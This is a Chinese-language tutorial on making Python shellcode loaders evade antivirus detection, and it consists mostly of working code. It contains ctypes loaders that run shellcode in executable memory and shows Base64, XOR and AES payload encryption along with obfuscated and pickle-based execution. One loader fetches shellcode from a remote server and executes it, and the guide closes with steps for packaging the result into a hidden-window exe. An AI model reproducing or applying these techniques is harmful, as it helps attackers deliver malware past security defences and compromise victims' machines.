python进行shellcode免杀
字数 625 2025-08-06 21:48:48
Python Shellcode免杀技术详解
0x00 前言
本文详细讲解使用Python实现Shellcode免杀的多种技术手段,包括Shellcode加载器实现、代码混淆、寻找免杀API、分离免杀、Python打包成exe等技术要点。
0x01 Shellcode加载器实现
基本加载器实现
import ctypes
shellcode = bytearray(b"\xfc\xe8\x89\x00\x00\x00\x60\x89......")
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)
)
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buffered,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
渐进式加载模式
import ctypes
shellcode = bytearray(b"\xfc\x48\x83....")
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x04) # 初始为可读可写不可执行
)
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buffered,
ctypes.c_int(len(shellcode))
)
# 修改内存属性为可执行
ctypes.windll.kernel32.VirtualProtect(ptr, len(shellcode), 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
0x02 代码混淆技术
Shellcode混淆方法
Base64编码
import base64
# 编码
buf1 = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00..."
b64shellcode = base64.b64encode(buf1).decode('ascii')
# 解码加载
import base64
import ctypes
shellcode = base64.b64decode(b'/EiD5PDoyAAAAEF......')
shellcode = bytearray(shellcode)
# 后续加载代码...
XOR加密
# 加密
from optparse import OptionParser
import sys
def xorEncode(file,key,output):
shellcode = ""
shellcode_size = 0
while True:
code = file.read(1)
if not code:
break
code = ord(code) ^ key
code_hex = hex(code).replace("0x",'')
if len(code_hex) == 1:
code_hex = '0'+code_hex
shellcode += '\\x' + code_hex
shellcode_size += 1
file.close()
output.write(shellcode)
output.close()
print(f"shellcodeSize:{shellcode_size}")
# 解密加载
import ctypes
xor_shellcode = "生成的xor shellcode"
key = 11
shellcode = bytearray([ord(xor_shellcode[i]) ^ key for i in range(len(xor_shellcode))])
# 后续加载代码...
AES加密
# 加密
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
shellcode = b"\xfc\x48\x83\xe4\xf0...."
key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(shellcode, AES.block_size))
iv = b64encode(cipher.iv).decode('utf-8')
ct = b64encode(ct_bytes).decode('utf-8')
# 解密加载
import ctypes
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
iv = 'xxx'
key = b'xxx'
ase_shellcode = 'xxx'
iv = b64decode(iv)
ase_shellcode = b64decode(ase_shellcode)
cipher = AES.new(key, AES.MODE_CBC, iv)
shellcode = bytearray(unpad(cipher.decrypt(ase_shellcode), AES.block_size))
# 后续加载代码...
加载器代码混淆
随机变量名
import random
import string
class AutoRandom:
def auto_random_str(self,min_length=8,max_length=15):
length=random.randint(min_length,max_length)
return ''.join(random.choice(string.ascii_letters) for x in range(length))
# 使用示例
AutoRandom = AutoRandom()
ctypes_alias = AutoRandom.auto_random_str()
shellcode_var = AutoRandom.auto_random_str()
ptr_var = AutoRandom.auto_random_str()
# 替换原有变量名...
Base64编码加载器
# 编码加载器
import base64
loader_code = b"""
shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
base64_loader = base64.b64encode(loader_code)
# 解码执行
import base64
import ctypes
buf = base64.b64decode(b'/EiD5PDoyAAAAEF......')
base64_loader = base64.b64decode(b'base64编码的加载器代码').decode()
exec(base64_loader)
反序列化混淆
import pickle
import base64
shellcodeloader = """
import ctypes,base64
shellcode = base64.b64decode(b'/EiD5PDoyAAAAE....')
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
class AAA(object):
def __reduce__(self):
return (exec, (shellcodeloader,))
seri = pickle.dumps(AAA())
seri_base64 = base64.b64encode(seri)
# 反序列化执行
import base64,pickle
shellcodeloader = b'gASVwgcAAAAAAACMCGJ1aWx0aW5zlIwEZX............'
pickle.loads(base64.b64decode(shellcodeloader))
0x03 替代API使用
替代常见的VirtualAlloc、RtlMoveMemory等API:
import ctypes
# 使用AllocADsMem等替代API
macmem = ctypes.windll.Activeds.AllocADsMem(len(shellcode)/6*17)
for i in range(len(shellcode)/6):
bytes_a = shellcode[i*6:6+i*6]
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
list = []
for i in range(len(shellcode)/6):
d = ctypes.string_at(macmem+i*17,17)
list.append(d)
ptr = ctypes.windll.Activeds.AllocADsMem(len(list)*6)
rwxpage = ptr
for i in range(len(list)):
ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage)
rwxpage += 6
ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
0x04 Shellcode分离技术
import ctypes
import requests
import base64
# 从远程服务器获取shellcode
rep = requests.get("http://192.168.111.132/1.txt")
shellcode = bytearray(base64.b64decode(rep.content))
# 常规加载代码...
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)
)
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buffered,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
0x05 Python打包成exe
PyInstaller
# Python2安装
pip2 install pyinstaller==3.6 -i https://pypi.douban.com/simple
# Python3安装
pip3 install pyinstaller -i https://pypi.douban.com/simple
# 基本用法
pyinstaller -F test.py -w -i test.ico
# 参数说明
-F, -onefile: 生成单个可执行文件
-w, -windowed, -noconsole: 运行时不会出现控制台窗口
-i: 指定可执行文件图标(.ico格式)
-c, -console, -nowindowed: 运行时显示控制台窗口(默认)
-D, -onedir: 创建一个目录包含EXE文件(默认选项)
py2exe
# setup.py示例(python3适用)
from distutils.core import setup
import py2exe
setup(
options={
'py2exe': {
'optimize': 2,
'bundle_files': 1, # 所有文件打包成一个exe文件
'compressed': True,
},
},
#console=[{"script": "test.py", "icon_resources": [(1, "test.ico")]}], # 显示控制台
windows=[{"script": "test.py", "icon_resources": [(1, "test.ico")]}], # 不显示控制台
zipfile=None,
)
# 执行打包
python setup.py py2exe
0x06 组合技术示例
- Shellcode AES加密 + 加载器PEM编码 + pyinstaller打包
- 随机变量名 + Shellcode XOR+Base64双重编码 + 反序列化混淆 + pyinstaller打包
0x07 注意事项
- Python打包的exe文件体积较大,实际应用中推荐使用Go或C#等语言实现
- 不同Python版本和打包工具组合会影响免杀效果,建议测试多种组合
- 最新版pyinstaller(5.0+)生成的exe更容易被检测,建议使用旧版(3.6)
- 多种技术组合使用能显著提高免杀效果
- 实际环境中应考虑文件体积、执行效率等多方面因素